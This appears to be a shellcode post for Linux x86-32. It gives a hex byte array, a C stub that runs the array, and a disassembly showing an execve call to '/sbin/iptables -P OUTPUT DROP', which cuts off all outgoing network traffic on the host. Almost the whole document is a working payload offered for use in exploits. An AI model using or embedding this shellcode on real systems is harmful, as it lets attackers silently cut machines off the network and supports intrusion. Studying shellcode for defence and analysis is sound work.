Name = John Babio
Twitter = 3vi1john
Arch = Linux/x86-32 bits
Code ///sbin/iptables -POUTPUT DROP(Policy of drop to OUTPUT chain)
const char sc[] =
"\x31\xc0\x31\xd2\x50\x68\x44\x52\x4f\x50\x89\xe7\x50\x68\x54\x50\x55\x54\x68\x2d"
"\x50\x4f\x55\x89\xe1\x50\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x68\x62\x69\x6e"
"\x2f\x68\x2f\x2f\x2f\x73\x89\xe3\x50\x57\x51\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
main(){
int (*shell)();
shell=sc;
shell();
}
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 31 d2 xor %edx,%edx
8048064: 50 push %eax
8048065: 68 44 52 4f 50 push $0x504f5244
804806a: 89 e7 mov %esp,%edi
804806c: 50 push %eax
804806d: 68 54 50 55 54 push $0x54555054
8048072: 68 2d 50 4f 55 push $0x554f502d
8048077: 89 e1 mov %esp,%ecx
8048079: 50 push %eax
804807a: 68 62 6c 65 73 push $0x73656c62
804807f: 68 69 70 74 61 push $0x61747069
8048084: 68 62 69 6e 2f push $0x2f6e6962
8048089: 68 2f 2f 2f 73 push $0x732f2f2f
804808e: 89 e3 mov %esp,%ebx
8048090: 50 push %eax
8048091: 57 push %edi
8048092: 51 push %ecx
8048093: 53 push %ebx
8048094: 89 e1 mov %esp,%ecx
8048096: 31 d2 xor %edx,%edx
8048098: b0 0b mov $0xb,%al
804809a: cd 80 int $0x80Data
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